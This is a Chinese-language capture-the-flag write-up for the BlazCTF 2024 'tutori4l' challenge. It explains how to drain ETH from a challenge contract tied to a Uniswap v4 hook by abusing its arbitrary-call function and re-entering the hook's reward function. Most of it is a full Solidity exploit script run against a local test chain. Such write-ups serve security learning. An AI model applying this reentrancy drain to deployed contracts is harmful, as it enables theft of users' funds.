## Title https://github.com/fuzzland/blazctf-2024.git tutori4l 题目: Challenge的总量是2 ether,player手里有1 ether,challenge里有1 ether。现在就是需要把challenge合约的1 ether取出来。 ## 思路 仔细留意不难发现,要把challenge合约的eth和ERC20转走只能调用arbitrary方法。我们可以通过arbitrary方法,把1 ether转到hook里。(调用hook的set_reward)即可然后再想办法从hook里把钱取走。 ```solidity= function arbitrary(address a, bytes calldata data) external payable { .... if (a == address(this) || a == address(hook)) { (bool success,) = a.call{value: address(this).balance}(data); require(success, "call failed"); } } ``` 因为钱都在Challenge合约里,我们首先需要把Challenge的钱往池子里加流动性/Set Reward。然后再想办法掏出来。这里其实衍生出多种方法: ## 方法一 直接操控Manager,绕开hooks: 1. Player发起AddLiquidity,但是通过Arbitrar调用manager.settleFor(player)让Challenge做结算, 2. 最后plyer拿到Lp后Rug走即可 ## 方法二 1. 先把ERC20通过Arbitrary从challenge取出来,然后往池子里加流动性(大概0.01E)就足够了 2. 通过Arbitrary的set_reward,把challenge的ETH打到池子里 3. 通过构造swapParams触发first_reward函数,这个时候会fallback回一个hookdata地址 4. 恶意构造一个hookdata地址接收地址,通过重入的方式,再次调用first reward,构造出一个big Amount,然后就能彻底把ETH卷走。 留下方法二的代码: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-ctf/CTFSolver.sol"; import {Challenge} from "../../src/challenge.sol"; import {PoolModifyLiquidityTest} from "v4-core/src/test/PoolModifyLiquidityTest.sol"; import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol"; import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol"; import {PoolKey} from "v4-core/src/types/PoolKey.sol"; import {Currency} from "v4-core/src/types/Currency.sol"; import {IHooks} from "v4-core/src/interfaces/IHooks.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol"; import {Hook} from "../../src/Hook.sol"; import {TickMath} from "v4-core/src/libraries/TickMath.sol"; contract Attack { address player; address hook; constructor(address _player, address _hook) { player = _player; hook = _hook; } receive() external payable { console2.log("Attack receive: ", msg.value); Hook(hook).first_reward(IPoolManager.SwapParams({ zeroForOne: true, amountSpecified: -10001e18, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1 }), abi.encode(address(player)) ); } } contract Solve is CTFSolver { address hook = 0x0895379Ab193141F30805CE48b9a1B75DadAC0C0; address token = 0x75537828f2ce51be7289709686A69CbFDbB714F1; address manager = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512; PoolModifyLiquidityTest lpRouter; PoolSwapTest swapRouter; // Run // forge script script/shaneson/Solve.s.sol:Solve --rpc-url http://127.0.0.1:8545 --broadcast -vvvv // Test: // forge script script/shaneson/Solve.s.sol:Solve --fork-url http://127.0.0.1:8545 -vvvv function solve(address challenge, address player) override internal { payable(address(0)).call{value: player.balance - 1e18}(""); console2.log("challenge balance: ", IERC20(token).balanceOf(address(challenge))); lpRouter = new PoolModifyLiquidityTest(IPoolManager(manager)); swapRouter = new PoolSwapTest(IPoolManager(manager)); Attack attack = new Attack( player, hook ); PoolKey memory key = PoolKey({ currency0: Currency.wrap(address(0)), currency1: Currency.wrap(token), fee: 0, tickSpacing: 10, hooks: IHooks(hook) }); // extract Token to player, and set reward into pool Challenge(payable(challenge)).arbitrary(token, abi.encodeWithSelector(IERC20.transfer.selector, player, 1000e18)); Challenge(payable(challenge)).arbitrary{value: 9e17}(hook, abi.encodeWithSelector(Hook.set_reward.selector)); IERC20(token).approve(address(lpRouter), type(uint256).max); lpRouter.modifyLiquidity{value: 1e5}(key, IPoolManager.ModifyLiquidityParams(-600, 600, 1e5, 0), new bytes(0)); // 当 zeroForOne = true 且 amountSpecified < 0 时,表示你正在卖出 token0 并买入 token1。 // 没法直接传入很大的一个amountSpecified值,因为没有这么多以太坊 swapRouter.swap{value: 3046}( key, IPoolManager.SwapParams({ zeroForOne: true, amountSpecified: -11e17, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1 }), PoolSwapTest.TestSettings({ takeClaims: false, settleUsingBurn: false }), abi.encode(address(attack)) ); console2.log("player balance: ", address(player).balance); require(Challenge(payable(challenge)).isSolved(), "Failed"); } }```